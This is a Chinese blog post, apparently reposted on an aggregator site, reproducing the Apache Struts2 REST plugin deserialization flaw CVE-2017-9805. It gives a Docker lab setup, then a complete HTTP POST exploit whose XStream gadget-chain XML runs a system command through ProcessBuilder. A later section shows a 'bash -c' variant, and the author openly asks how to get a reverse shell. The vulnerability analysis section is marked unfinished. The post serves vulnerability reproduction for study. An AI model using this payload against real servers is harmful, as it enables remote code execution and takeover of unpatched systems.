我是靠谱客的博主 善良柠檬,最近开发中收集的这篇文章主要介绍CVE-2017-9805(Struts2 漏洞复现与分析)0x01 漏洞简介0x02 环境搭建0x02 漏洞分析,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前天发布的新漏洞,以前Struts的漏洞也是经常出,今年三月份就有一次。但这类的洞一直没有跟进,今天也是想着把它给复现一下,同时搭个环境分析一下漏洞形成的原因。

0x01 漏洞简介

漏洞背景 2017年9月5日,Apache官方发布了一则公告,该公告称Apache Struts2的REST插件存在远程代码执行的高危漏洞,CVE编号为CVE-2017-9805。 Struts2 REST插件的XStream组件存在反序列化漏洞,使用带有 XStream实例的 XStreamHandler进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

0x02 环境搭建

env版本
docker16.04
jdk1.8.0_144
struts源码2.5.12
tomcat8.0.46

直接从官网下载相对应的源码

0x1 dockerfile

FROM ubuntu:16.04
MAINTAINER 4t10n <act01n@163.com>
ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update -y 
&& apt-get install unzip
&& apt-get install net-tools
WORKDIR /tmp
COPY
./apache-tomcat-8.0.46.tar.gz
/tmp/
COPY
./jdk.tar.gz
/tmp/
COPY
./struts.zip
/tmp/
COPY
./cmd.sh
/tmp/
RUN
chmod a+x cmd.sh
EXPOSE 8080
CMD ["/bin/bash","/tmp/cmd.sh"]

cmd.sh

tar -xz -f jdk.tar.gz -C /usr/local/
tar -xz -f apache-tomcat-8.0.46.tar.gz -C /usr/local/
unzip struts.zip -d /usr/local/apache-tomcat-8.0.46/webapps
mv /usr/local/apache-tomcat-8.0.46/webapps/struts-2.5.12/apps/struts2-rest-showcase.war ./../../
# setup jdk
echo '''
JAVA_HOME=/usr/local/jdk1.8.0_144
JAVA_BIN=/usr/local/jdk1.8.0_144/bin
PATH=$PATH:$JAVA_BIN
CLASSPATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME JAVA_BIN PATH CLASSPATH
'''>>/etc/profile
source /etc/profile
/usr/local/apache-tomcat-8.0.46/bin/startup.sh
/bin/bash

相关源码在Github上

0x2 攻击代码

这里只是生成一个文件4ct10n

POST /struts2-rest-showcase/orders/3 HTTP/1.1
Host: 192.168.43.165:8989
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.165:8989/struts2-rest-showcase/orders/3/edit
Cookie: JSESSIONID=31A64A6CF6021DA63449D6DDEF10202F
Connection: close
Content-Type: application/xml
Content-Length: 1656
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/home/4ct10n</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

这里写图片描述

这里写图片描述

0x3 攻击后续

其实在正真测试的时候已近发现了一些指令受了限制,但是一开始并没有进行研究,今天瞅了一眼freebuf文章,看是已经能够执行任何指令,这里是连接

我在这也是实验了一发,试了一下文中说的其他指令,但唯独shell反弹没有成功

文中主要说的利用方法是利用bash -c指令
具体格式如下

<command>
<string>bash</string>
<string>-c</string>
<string>echo asd >/tmp/4ct10n</string>
</command>

这里写图片描述

怎么反弹shell ……. ,在线等

0x02 漏洞分析

未完待续

最后

以上就是善良柠檬为你收集整理的CVE-2017-9805(Struts2 漏洞复现与分析)0x01 漏洞简介0x02 环境搭建0x02 漏洞分析的全部内容,希望文章能够帮你解决CVE-2017-9805(Struts2 漏洞复现与分析)0x01 漏洞简介0x02 环境搭建0x02 漏洞分析所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(41)

评论列表共有 0 条评论

立即
投稿
返回
顶部